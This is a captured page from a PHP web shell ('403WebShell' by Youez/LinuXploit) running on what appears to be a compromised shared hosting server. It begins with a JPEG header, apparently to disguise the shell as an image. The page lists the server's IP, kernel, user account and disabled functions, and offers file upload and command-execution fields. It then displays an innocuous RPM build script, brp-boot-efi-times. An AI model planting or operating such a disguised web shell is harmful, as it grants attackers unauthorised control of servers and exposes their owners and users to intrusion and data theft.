���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/rpm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/rpm/brp-boot-efi-times
#!/usr/bin/bash -eu

# If using normal root, avoid changing anything.
if [ -z "$RPM_BUILD_ROOT" -o "$RPM_BUILD_ROOT" = "/" ]; then
	exit 0
fi
if [[ ! -d "$RPM_BUILD_ROOT//boot/efi" ]] ; then
	exit 0
fi

update() {
	local path="$1"
	local ctime=$(stat -c "%Z" "${path}")

	# we always want to touch it once...
	if [[ $((${ctime} % 2)) -eq 0 ]] ; then
		let ++ctime
	fi

	while [[ $((${ctime} % 2)) -eq 1 ]] ; do
		let ++ctime
		touch -h -c -d "@${ctime}" "${path}"
		ctime=$(stat -c "%Z" "${path}")
	done
}

declare -a dirs
dirs=() || :

cd "$RPM_BUILD_ROOT"

while IFS= read -r -d $'\0' f; do
	if [[ -d "${f}" ]] ; then
		dirs[${#dirs[@]}]="${f}"
	else
		update "${f}"
	fi
done < <(find ./boot/efi/ -print0)

# sort the directory list lexicographically, longest-first, so a parent dir's
# updated mtime won't be clobbered by the child dir being updated, if some day
# someone actually makes that matter.
#
# I don't think we actually have to do this on linux, but
# $RPM_BUILD_ROOT//boot/efi/ isn't going to have but so many files on
# it.
let i=0 || :
let j=1
while [[ ${i} -lt ${#dirs[@]} ]] && [[ ${j} -lt ${#dirs[@]} ]] ; do
	if [[ "${dirs[$i]}" < "${dirs[$j]}" ]] ; then
		tmp="${dirs[$i]}"
		dirs[$i]="${dirs[$j]}"
		dirs[$j]="${tmp}"
	else
		let ++j
	fi
	if [[ ${j} -ge ${#dirs[@]} ]] ; then
		let ++i
		let ++j
	fi
done

# and now just process them just like files.
if [[ ${#dirs[@]} -gt 0 ]] ; then
	for dir in "${dirs[@]}" ; do
		update "${dir}"
	done
fi

Youez - 2016 - github.com/yon3zu
LinuXploit